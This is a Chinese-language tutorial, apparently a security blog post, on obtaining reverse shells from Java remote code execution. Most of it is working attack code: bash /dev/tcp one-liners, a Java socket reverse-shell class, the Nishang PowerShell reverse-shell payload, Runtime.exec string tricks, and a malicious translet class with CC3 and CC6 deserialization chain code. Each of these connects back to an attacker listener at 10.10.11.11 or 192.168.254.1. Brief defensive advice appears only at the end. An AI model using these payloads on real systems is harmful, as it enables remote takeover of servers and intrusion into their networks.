Java RCE场景下的RevShell技术全解析
字数 1514 2025-12-19 12:08:27
Java RCE场景下的RevShell技术全解析
1. Linux反弹Shell命令解析
1.1 基础反弹命令
bash -i >& /dev/tcp/10.10.11.11/9001 0>&1
1.2 符号作用解析
&符号作用:当<或>后面跟&时,指向的是文件描述符而非文件名>&m:输出到文件描述符m所指向的文件<&m:从文件描述符m所指向的文件读取输入
1.3 命令详细解读
完整版本:bash -i > /dev/tcp/10.10.11.11/9001 2>&1 0>&1
执行流程:
bash -i启动新的交互shell>(即1>)将标准输出重定向到TCP Socket2>&1将标准错误重定向到标准输出(TCP Socket)0>&1将标准输入重定向到标准输出(TCP Socket)
最终状态:
- fd 0(stdin)→ 网络连接
- fd 1(stdout)→ 网络连接
- fd 2(stderr)→ 网络连接
1.4 等价变形
bash -i >& /dev/tcp/10.10.11.11/9001 0<&1
2. Runtime.exec()方法深度分析
2.1 Windows平台实现
方法重载:
public Process exec(String command)
public Process exec(String command, String[] envp)
public Process exec(String command, String[] envp, File dir)
public Process exec(String cmdarray[])
public Process exec(String[] cmdarray, String[] envp)
public Process exec(String[] cmdarray, String[] envp, File dir)
执行流程:
- 使用
StringTokenizer按空格、\t、\n、\r、\f分割命令字符串 - 创建
ProcessBuilder对象 - 调用
ProcessImpl.start()方法 - 最终通过native方法
create()创建进程
关键调用栈:
create:593, ProcessImpl (java.lang)
<init>:453, ProcessImpl (java.lang)
start:139, ProcessImpl (java.lang)
start:1029, ProcessBuilder (java.lang)
exec:621, Runtime (java.lang)
2.2 Linux平台实现
调用栈:
java.lang.UNIXProcess.<init>(UNIXProcess.java:247)
java.lang.ProcessImpl.start(ProcessImpl.java:134)
java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
java.lang.Runtime.exec(Runtime.java:620)
3. Windows反弹Shell技术
3.1 Socket连接方式
package com.lingx5.windows;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class JavaSocketRevShell {
private void pumpStream(InputStream in, OutputStream out) {
new Thread(() -> {
try {
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = in.read(buffer)) != -1) {
out.write(buffer, 0, bytesRead);
out.flush();
}
} catch (IOException e) {
} finally {
try {
in.close();
out.close();
} catch (IOException ignored) {}
}
}).start();
}
public void conn(String host, int port, String... cmd) throws Exception {
try (Socket socket = new Socket(host, port)) {
ProcessBuilder pb = new ProcessBuilder(cmd);
Process process = pb.start();
pumpStream(socket.getInputStream(), process.getOutputStream());
pumpStream(process.getInputStream(), socket.getOutputStream());
pumpStream(process.getErrorStream(), socket.getOutputStream());
process.waitFor();
}
}
}
使用示例:
// 反弹cmd shell
new JavaSocketRevShell().conn("10.10.11.11", 9001, "cmd.exe", "/k");
// 反弹powershell shell
new JavaSocketRevShell().conn("10.10.11.11", 9001, "powershell.exe");
3.2 PowerShell命令方式
Nishang框架Payload:
$client = New-Object System.Net.Sockets.TCPClient('192.168.254.1',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();
}
$client.Close()
Java实现:
public class ExecRevShell {
public static void main(String[] args) throws Exception {
String ip = "'10.10.11.11'";
int port = 9001;
String cmd = "$client = New-Object System.Net.Sockets.TCPClient("+ip+","+port+");" +
"$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()";
Runtime.getRuntime().exec("powershell.exe "+cmd);
}
}
4. Linux反弹Shell技术
4.1 Socket连接方式
使用相同的JavaSocketRevShell类,传入bash命令:
new JavaSocketRevShell().conn("10.10.11.11", 9001, "/bin/bash");
4.2 Bash命令方式
4.2.1 字符数组方式(推荐)
public class ExecRevShell {
public static void main(String[] args) {
try {
String[] cmd = new String[]{
"bash",
"-c",
"bash -i >& /dev/tcp/10.10.11.11/9001 0>&1"
};
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}
}
4.2.2 字符串方式(需要特殊构造)
错误Payload:
Runtime.getRuntime().exec("bash -c \"$*\" 0 bash -i >& /dev/tcp/10.10.11.11/9001 0>&1");
正确Payload:
// 方式1
Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/10.10.11.11/9001 0>&1");
// 方式2
Runtime.getRuntime().exec("bash -c $*|bash 0 echo bash -i >& /dev/tcp/10.10.11.11/9001 0>&1");
原理分析:
StringTokenizer分词:["bash", "-c", "$@|bash", "0", "echo", "bash", "-i", ">&", "/dev/tcp/10.10.11.11/9001", "0>&1"]bash -c执行$@|bash,$@被填充为后续参数echo输出反弹shell命令字符串- 通过管道
|传递给新的bash执行
5. 与反序列化漏洞结合
5.1 类加载方式(CC3/CC4链)
5.1.1 恶意类构造
package com.lingx5.windows;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class JavaSocketRevShell extends AbstractTranslet {
private static void pumpStream(InputStream in, OutputStream out) {
new Thread(() -> {
try {
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = in.read(buffer)) != -1) {
out.write(buffer, 0, bytesRead);
out.flush();
}
} catch (IOException e) {
} finally {
try {
in.close();
out.close();
} catch (IOException ignored) {}
}
}).start();
}
public static void conn(String host, int port, String... cmd) throws Exception {
try (Socket socket = new Socket(host, port)) {
ProcessBuilder pb = new ProcessBuilder(cmd);
Process process = pb.start();
pumpStream(socket.getInputStream(), process.getOutputStream());
pumpStream(process.getInputStream(), socket.getOutputStream());
pumpStream(process.getErrorStream(), socket.getOutputStream());
process.waitFor();
}
}
// 静态代码块中执行反弹shell
static {
new Thread(() -> {
try {
conn("10.10.11.11", 9001, "powershell.exe");
} catch (Exception e) {
}
}).start();
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
5.1.2 CC3反序列化链
public class ClassLoaderRevShell {
public static byte[] getEvil() throws Exception {
ClassPool ctClass = ClassPool.getDefault();
CtClass evil = ctClass.get("com.lingx5.windows.JavaSocketRevShell");
return evil.toBytecode();
}
public static void main(String[] args) throws Exception {
byte[] evilBytes = getEvil();
TemplatesImpl templates = new TemplatesImpl();
// 设置templates的相关字段...
Transformer[] transformers = {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
)
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// 构造完整的反序列化链...
}
}
5.2 命令执行方式(CC1/CC6链)
5.2.1 CC6链示例
public class CC6RevShell {
public static void main(String[] args) throws Exception {
String ip = "'10.10.11.11'";
int port = 9001;
String cmd = "powershell.exe $client = New-Object System.Net.Sockets.TCPClient("+ip+","+port+");" +
"$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()";
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{cmd})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// 构造完整的CC6反序列化链...
}
}
6. 关键技术要点
6.1 平台差异处理
- Windows:使用
cmd.exe /k或powershell.exe - Linux:使用
/bin/bash或/bin/sh
6.2 线程资源管理
在静态代码块中使用新线程执行反弹shell,避免JVM资源回收:
static {
new Thread(() -> {
try {
conn("10.10.11.11", 9001, "powershell.exe");
} catch (Exception e) {
}
}).start();
}
6.3 命令构造技巧
- 使用字符数组避免
StringTokenizer错误分割 - 利用bash的
$@和$*参数扩展特性 - 通过管道符连接多个命令执行
7. 防御建议
- 严格过滤用户输入,避免命令注入
- 使用安全管理器限制执行权限
- 及时更新依赖库,修复已知反序列化漏洞
- 实施网络层防护,限制出站连接
- 使用代码审计工具检测潜在风险
本文详细解析了Java RCE场景下各种反弹Shell技术的实现原理和具体方法,涵盖了Windows/Linux双平台、多种执行方式以及与反序列化漏洞的结合利用。